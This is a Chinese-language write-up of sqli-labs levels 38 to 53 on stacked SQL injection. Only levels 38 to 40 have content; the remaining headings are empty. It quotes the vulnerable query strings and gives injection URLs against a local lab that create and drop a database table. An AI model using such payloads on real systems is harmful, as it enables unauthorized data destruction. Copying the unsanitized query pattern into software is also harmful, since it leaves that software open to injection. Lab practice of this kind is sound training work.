1. 程式人生 > 其它 >sqli-labs闖關筆記-less38-53-堆疊注入

sqli-labs闖關筆記-less38-53-堆疊注入

Stacked injections:堆疊注入。從名詞的含義就可以看到應該是一堆sql語句(多條)一起執行。而在真實的運用中也是這樣的,我們知道在mysql中,主要是命令列中,每一條語句結尾加 ; 表示語句結束。這樣我們就想到了是不是可以多句一起使用。這個叫做stacked injection。

less38

原始碼sql語句如下:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

1、構造crow庫表

http://127.0.0.1:8001/Less-38/?id=1' ; create table crow like users ; --+

執行後發現security庫表多了一個crow。

2、刪除庫表。

http://127.0.0.1:8001/Less-38/?id=1' ; drop table crow; --+

less39

原始碼sql語句如下:

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

同less38,閉合符號不同,將38中的id='1'; 修改為id=1 ; 即可

less40

原始碼sql語句如下:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

less41

less42

less43

less44

less45

less46

less47

less48

less49

less50

lsss51

less52

less53